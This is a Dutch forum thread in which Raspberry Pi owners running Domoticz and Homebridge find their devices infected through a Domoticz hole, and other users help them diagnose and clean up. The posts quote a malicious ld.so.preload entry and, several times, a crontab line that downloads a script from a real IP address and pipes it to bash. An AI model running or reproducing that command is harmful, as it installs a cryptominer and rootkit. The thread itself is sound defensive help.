[Pi] Virus? /etc/ld.so.preload

[paQ]

Ik heb twee Pi, met alleen maar Domoticz en Homebridge. Ze staan aan, en verder doe ik er niets mee. (beetje up to date houden dan)
Ze hebben beiden Raspbian Jessie Stretch

Sinds enkele weken hebben beide pi's last van exact dezelfde foutmeldingen / errors.
Soms helpt het om ze te rebooten en blijft mijn Domotica gewoon werken, soms kan ik helemaal niets meer uitvoeren en moet de stroom eraf.

Zodra ik een terminal open bijv zie ik:

code:

ERROR: ld.so: object '/usr/local/lib/libkk.so' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
ERROR: ld.so: object '/usr/local/lib/libkk.so' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
ERROR: ld.so: object '/usr/local/lib/libkk.so' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
pi@raspberrypi:~ $

In ld.so.preload staat maar 1 regel, namelijk de verwijzing naar /usr/local/libkk.so
In laatstgenoemde staat enkel ASCII, waarvan ik in nano geen chocola kan maken.
Sluit ik (zonder opslaan) en open weer, dan is de inhoud weg.

Verwijder ik de verwijzing uit ld.so.preload, en sla deze op, dan krijg ik de melding dat het bestand is gewijzigd na het opslaan. ogenschijnlijk leeg, totdat ik reboot.

Na veel googlen kom ik links en rechts de suggestie tegen dat het heel goed een virus kan betreffen.
Een virusscanner krijg ik echter niet geïnstalleerd omdat te pas en te onpas opdrachten worden geblockt door een waslijst van bovengenoemde errors, of er komt simpelweg "geelimineerd" te staan en dan stop het proces.

Hoe is het nu het best verder te handelen?
_{behalve het nodige voor Homebridge ben ik redelijk Pi n00b}


edit:

code:

pi@raspberrypi:~ $ sudo crontab -l
ERROR: ld.so: object '/usr/local/lib/libkk.so' from /etc/ld.so.preload cannot be preloaded (file too short): ignored.
ERROR: ld.so: object '/usr/local/lib/libkk.so' from /etc/ld.so.preload cannot be preloaded (file too short): ignored.
* * * * *   (curl -s http://107.172.234.175/mr.sh||wget -q -O - http://107.172.234.175/mr.sh)|bash -sh
##

[ Voor 10% gewijzigd door paQ op 17-07-2019 21:05 ]

[Hero of Time]

paQ schreef op woensdag 17 juli 2019 @ 20:32:
Ik heb twee Pi, met alleen maar Domoticz en Homebridg. Ze staan aan, en verder doe ik er niets mee.
Ze hebben beiden Raspbian Jessie Stretch

Dat kan niet. Ze draaien óf Jessie, óf Stretch. Je kan niet versie 8 en 9 tegelijk draaien. Doe je dat wel, dan heb je een FrankenDebian, waarbij je releases mixt en dat is vragen om problemen. Dus, wat draai je precies? Zie /etc/debian_release voor informatie, of de uitvoer van lsb_release -a.

Sinds enkele weken hebben beide pi's last van exact dezelfde foutmeldingen / errors.
Soms helpt het om ze te rebooten en blijft mijn Domotica gewoon werken, soms kan ik helemaal niets meer uitvoeren en moet de stroom eraf.

Zodra ik een terminal open bijv zie ik:

code:

ERROR: ld.so: object '/usr/local/lib/libkk.so' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
ERROR: ld.so: object '/usr/local/lib/libkk.so' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
ERROR: ld.so: object '/usr/local/lib/libkk.so' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
pi@raspberrypi:~ $

In ld.so.preload staat maar 1 regel, namelijk de verwijzing naar /usr/local/libkk.so
In laatstgenoemde staat enkel ASCII, waarvan ik in nano geen chocola kan maken.
Sluit ik (zonder opslaan) en open weer, dan is de inhoud weg.

Verwijder ik de verwijzing uit ld.so.preload, en sla deze op, dan krijg ik de melding dat het bestand is gewijzigd na het opslaan. ogenschijnlijk leeg, totdat ik reboot.

Na veel googlen kom ik links en rechts de suggestie tegen dat het heel goed een virus kan betreffen.
Een virusscanner krijg ik echter niet geïnstalleerd omdat te pas en te onpas opdrachten worden geblockt door een waslijst van bovengenoemde errors, of er komt simpelweg "geelimineerd" te staan en dan stop het proces.

Hoe is het nu het best verder te handelen?
_{behalve het nodige voor Homebridge ben ik redelijk Pi n00b}

Een .so bestand kan je niet zomaar met een teksteditor openen om te zien wat erin staat. Dat is hetzelfde als op Windows vragen om een .dll te openen met kladblok.

Het is wel vreemd dat er alleen een verwijzing naar /usr/local/lib/libkk.so in je ld.so.preload staat. Mijn Pi (die Stretch draait) met alleen Pi-Hole heeft daar alleen "/usr/lib/arm-linux-gnueabihf/libarmmem.so" erin staan.

De error die je krijgt heb ik hier iig al een paar keer langs zien komen, maar dat was voornamelijk op een Synology NAS waar men een apart package had geïnstalleerd dat hier ook naar verwees. Dat was dacht ik een python package of afhankelijkheid. Grootste punt daar was de verkeerde architectuur. Maar, die melding kwam niet voor bij het openen van een SSH sessie wat jij wel lijkt te hebben.

Ga eens na wat er is verandert op je Pi de laatste tijd. Updates van systeempackages zal het iig niet zijn, want die doen niets plaatsen in /usr/local. Je moet dan eerder kijken naar je zelf toegevoegde software, zoals Domoticz en Homebridge.

Als ik zelf zoek op 'libkk.so' krijg ik https://www.domoticz.com/forum/viewtopic.php?t=28329 naar voren, wat omschrijft wat jij hebt met oplossing. Blijkbaar verkregen via een lek in Domoticz. Heb je die vrij aan het internet gehangen?

[0xDEADBEEF]

Is het filesystem naar de haaien? 'file too short' klinkt niet heel best; wat libkk doet vind ik zo 1-2-3 niet. Kana Kanji?

[paQ]

Hero of Time schreef op woensdag 17 juli 2019 @ 21:04:
[...]

Dat kan niet. Ze draaien óf Jessie, óf Stretch. Je kan niet versie 8 en 9 tegelijk draaien. Doe je dat wel, dan heb je een FrankenDebian, waarbij je releases mixt en dat is vragen om problemen. Dus, wat draai je precies? Zie /etc/debian_release voor informatie, of de uitvoer van lsb_release -a.

aangepast

[...]

Een .so bestand kan je niet zomaar met een teksteditor openen om te zien wat erin staat. Dat is hetzelfde als op Windows vragen om een .dll te openen met kladblok.

Het is wel vreemd dat er alleen een verwijzing naar /usr/local/lib/libkk.so in je ld.so.preload staat. Mijn Pi (die Stretch draait) met alleen Pi-Hole heeft daar alleen "/usr/lib/arm-linux-gnueabihf/libarmmem.so" erin staan.

De error die je krijgt heb ik hier iig al een paar keer langs zien komen, maar dat was voornamelijk op een Synology NAS waar men een apart package had geïnstalleerd dat hier ook naar verwees. Dat was dacht ik een python package of afhankelijkheid. Grootste punt daar was de verkeerde architectuur. Maar, die melding kwam niet voor bij het openen van een SSH sessie wat jij wel lijkt te hebben.

Ga eens na wat er is verandert op je Pi de laatste tijd. Updates van systeempackages zal het iig niet zijn, want die doen niets plaatsen in /usr/local. Je moet dan eerder kijken naar je zelf toegevoegde software, zoals Domoticz en Homebridge.

Het had trouwens wel fijn geweest waarom je denkt dat je een virus te pakken hebt op je Pi. Want als ik zelf zoek op 'libkk.so' krijg ik https://www.domoticz.com/forum/viewtopic.php?t=28329 al naar voren, wat omschrijft wat jij hebt. Blijkbaar verkregen via een lek in Domoticz. Heb je die vrij aan het internet gehangen?

Ik zit nu ook in dat Domoticz topic, maar loop daar ook al snel vast eigenlijk, gezien ik die error er steeds tussen door krijg en opdrachten daardoor een beetje hit and miss worden.


Domoticz zit op een poort, met een wachtwoord.
Idem voor homebridge.
En uiteraard heeft user pi een wachtwoord.

0xDEADBEEF schreef op woensdag 17 juli 2019 @ 21:05:
Is het filesystem naar de haaien? 'file too short' klinkt niet heel best; wat libkk doet vind ik zo 1-2-3 niet. Kana Kanji?

Wat ik al schreef: hit and miss.

Ik heb het commando herhaald (2e deel), en zie:

code:

pi@raspberrypi:~ $ sudo crontab -l
ERROR: ld.so: object '/usr/local/lib/libkk.so' from /etc/ld.so.preload cannot be preloaded (file too short): ignored.
ERROR: ld.so: object '/usr/local/lib/libkk.so' from /etc/ld.so.preload cannot be preloaded (file too short): ignored.
* * * * *   (curl -s http://107.172.234.175/mr.sh||wget -q -O - http://107.172.234.175/mr.sh)|bash -sh
##
pi@raspberrypi:~ $ sudo crontab -l
ERROR: ld.so: object '/usr/local/lib/libkk.so' from /etc/ld.so.preload cannot be preloaded (wrong ELF class: ELFCLASS64): ignored.
ERROR: ld.so: object '/usr/local/lib/libkk.so' from /etc/ld.so.preload cannot be preloaded (wrong ELF class: ELFCLASS64): ignored.
* * * * *   (curl -s http://107.172.234.175/mr.sh||wget -q -O - http://107.172.234.175/mr.sh)|bash -sh
##
pi@raspberrypi:~ $

[ Voor 22% gewijzigd door paQ op 17-07-2019 21:11 ]

[Hero of Time]

Wachtwoorden hebben geen ene nut als er een kwetsbaarheid is in de software. Daar loop je dan zo omheen. Het maakt dan echt niet uit of je een wachtwoord met zelfs Chinese tekens in hebt zitten en 100 tekens lang is met multifactor authenticatie.

De eerste dingen die er staat is crontab opschonen, ld.so.preload opschonen en dan de rest verwijderen. En gooi de Pi ook direct van het internet af, anders trekt een achtergrondproces de zooi weer net zo makkelijk binnen en kan je weer opnieuw beginnen.

Het snelste is natuurlijk een full wipe en nieuwe installatie.

[paQ]

Hero of Time schreef op woensdag 17 juli 2019 @ 21:11:
Wachtwoorden hebben geen ene nut als er een kwetsbaarheid is in de software. Daar loop je dan zo omheen. Het maakt dan echt niet uit of je een wachtwoord met zelfs Chinese tekens in hebt zitten en 100 tekens lang is met multifactor authenticatie.

De eerste dingen die er staat is crontab opschonen, ld.so.preload opschonen en dan de rest verwijderen. En gooi de Pi ook direct van het internet af, anders trekt een achtergrondproces de zooi weer net zo makkelijk binnen en kan je weer opnieuw beginnen.

Het snelste is natuurlijk een full wipe en nieuwe installatie.

juistem... dan ga ik daar morgen eens voor zitten

Domoticz draait toch al een hele poos op 4.9, en in elk geval hoger dan 4.1

[Hero of Time]

Verwijder ook gelijk even de port forward op je router/modem. Er is geen enkele reden om ze zo open aan het internet te hangen. Wil je er vanaf de Bahama's bij kunnen, dan gebruik je een VPN om op je thuisnetwerk te komen.

[paQ]

Hero of Time schreef op woensdag 17 juli 2019 @ 21:15:
Verwijder ook gelijk even de port forward op je router/modem. Er is geen enkele reden om ze zo open aan het internet te hangen. Wil je er vanaf de Bahama's bij kunnen, dan gebruik je een VPN om op je thuisnetwerk te komen.

naja, was nou net wel "makkelijk" om even iets te fixen als vrouwlief van thuis belde als een gordijn niet reageerde ofzo

[Hero of Time]

paQ schreef op woensdag 17 juli 2019 @ 21:18:
[...]

naja, was nou net wel "makkelijk" om even iets te fixen als vrouwlief van thuis belde als een gordijn niet reageerde ofzo

Dat was het voor de rest van de wereld ook, makkelijk om erin te komen.

[Cyphax]

Hero of Time schreef op woensdag 17 juli 2019 @ 21:15:
Verwijder ook gelijk even de port forward op je router/modem. Er is geen enkele reden om ze zo open aan het internet te hangen. Wil je er vanaf de Bahama's bij kunnen, dan gebruik je een VPN om op je thuisnetwerk te komen.

Ja ik vind PiVPN, als we het dan toch over de Pi hebben, wel een te overwegen manier om dat te doen. Is niet echt snel allemaal maar je hebt wel veilig toegang tot je eigen netwerk. Ik vind dat altijd wel prettig.

[paQ]

Het opschonen lijkt te zijn gelukt.
Clamav kon ik nu ook installeren, dus clamtk erbij gedaan en dat staat nu te scannen voor overblijfselen.

edit;
duurde effe

code:

----------- SCAN SUMMARY -----------
Known viruses: 6217146
Engine version: 0.100.3
Scanned directories: 44175
Scanned files: 171110
Infected files: 0
Total errors: 10476
Data scanned: 7596.06 MB
Data read: 7156.59 MB (ratio 1.06:1)
Time: 14331.044 sec (238 m 51 s)

[ Voor 52% gewijzigd door paQ op 18-07-2019 17:21 ]

[Verwijderd]

Ik heb hetzelfde probleem, ook heb ik gekeken op deze forum van domoticz
https://www.domoticz.com/forum/viewtopic.php?t=28329
Voor een amateur als ik is het allemaal best lastig.

Kan iemand mij vertellen in een simpele taal hoe ik de virus kan verwijderen? of moet ik alles echt opnieuw installeren?

[Hero of Time]

Verwijderd schreef op donderdag 18 juli 2019 @ 22:12:
Ik heb hetzelfde probleem, ook heb ik gekeken op deze forum van domoticz
https://www.domoticz.com/forum/viewtopic.php?t=28329
Voor een amateur als ik is het allemaal best lastig.

Kan iemand mij vertellen in een simpele taal hoe ik de virus kan verwijderen? of moet ik alles echt opnieuw installeren?

Als je niet weet waar je naar moet zoeken om écht zeker te zijn dat alles weg is, kan je het beste opnieuw beginnen.

Als je backups maakt en die wilt terugzetten, moet je die ook nakijken of daar geen ongewenste zooi in zit. Een van de gebruikers in dat topic vond de zooi in een bestand op de schijf, maar niet in z'n database backups en live database. Let daar dus goed op of je backup echt schoon is.

[paQ]

en alles weer terug

gawd...
Hoe kan een virusscanner nou niets vinden, en 1 dag later zijn de errors er weer?

[Hero of Time]

Dan heb je niet alles goed opgeruimd en draaide er nog een proces op de achtergrond, was je een cron entry vergeten of heb je de port forwarding intact gelaten waardoor ze net zo makkelijk weer binnen kunnen komen.

[Thralas]

paQ schreef op vrijdag 19 juli 2019 @ 08:57:
Hoe kan een virusscanner nou niets vinden, en 1 dag later zijn de errors er weer?

Dat komt omdat het concept van een virusscanner alleen redelijke dekking heeft op Windows. De kans dat het iets Linux-specifieks detecteert is zeer beperkt, en dan ook nog eens enkel de malware zelf. Toegevoegde regels in je crontabs ga je er simpelweg nooit mee vinden.

ClamAV is dan ook primair gemaakt om Windows-malware van je Linux mail/fileserver te houden. Heb je dus geen zak aan. Alles herinstalleren of goed verwijderen (meerdere crontabs, database, webroot). Zie gelinkte topic 4 posts hierboven.

Ga ook nog even na hoe het kan dat ld.so.preload uberhaupt geschreven wordt - het kan niet anders dan dat je de hele handel als root draaide: bij deze een overtuigend argument om dat niet te doen.

En je hebt enkel last van de downloaders lijkt het, de payload (monero miner en rootkit) werkt niet op ARM.

[Hero of Time]

Thralas schreef op vrijdag 19 juli 2019 @ 10:15:
Ga ook nog even na hoe het kan dat ld.so.preload uberhaupt geschreven wordt - het kan niet anders dan dat je de hele handel als root draaide: bij deze een overtuigend argument om dat niet te doen.

Op de Pi heeft de standaard gebruiker (pi) sudo rechten en wordt er niet om een wachtwoord gevraagd. Op die manier is het makkelijk om root rechten te verkrijgen, mede omdat veel software toch maar makkelijk onder die pi gebruiker wordt gedraaid.

Oplossingen zijn idd aparte gebruiker inrichten hiervoor om 't onder te draaien en sudoers aan te passen dat er wel om een wachtwoord wordt gevraagd (en natuurlijk het standaard wachtwoord aanpassen).

[tafkaw]

Pak je Domoticz en Homebrige config eraf, wipe dat ding, zet Domoticz en Homebridge er weer op en je configs terug. Meest veilige manier en vast sneller dan hetgeen je nu probeert te "lappen".

[Bockelaar]

lekker, die had ik een paar weken geleden dus ook. Heb ding gewiped en draai nu Home Assistant. Het lijkt dus gewoon een lek in de nieuwe versie? bah!

[Hero of Time]

tafkaw schreef op maandag 22 juli 2019 @ 13:37:
Pak je Domoticz en Homebrige config eraf, wipe dat ding, zet Domoticz en Homebridge er weer op en je configs terug. Meest veilige manier en vast sneller dan hetgeen je nu probeert te "lappen".

Waarbij het jammer zou zijn als je backup besmet is. Controleer die dan eerst voordat je 'm terugzet.

Bockelaar schreef op maandag 22 juli 2019 @ 14:16:
lekker, die had ik een paar weken geleden dus ook. Heb ding gewiped en draai nu Home Assistant. Het lijkt dus gewoon een lek in de nieuwe versie? bah!

Naja, het leert je iig wel om niet zomaar zaken online beschikbaar te gooien zonder goed aan de beveiliging van de omgeving te denken. Waarom denk je dat bedrijven zoveel geld uitgeven aan zware firewalls en IDS'en? Niet open gooien 'omdat het zo gemakkelijk is', maar doe het veilig.

[Bockelaar]

eens, maar in dit geval toch ook wel iets te gemakkelijk in mijn ogen. De oude versie had namelijk de bug niet.

[Hero of Time]

Nee, daar hadden ze niet naar een vergelijkbaar lek gezocht.

Software is inherent lek. Het is daarom verstandig om dit zo goed mogelijk af te vangen. Domoticz, Homebridge of Home Assistent zomaar openzetten voor de wereld is niet goed afvangen van dat probleem.

Eenvoud van iets gaat ten koste van veiligheid.

[paQ]

nou, 1 pi is schoon

Wifi uitgeschakeld, monitor, toetsenbord en muis aangesloten en de stappen uitgevoerd.
Was eigenlijk zo gepiept.
Router portforward verwijderd, en nu 1 nacht later alles nog clean and steady.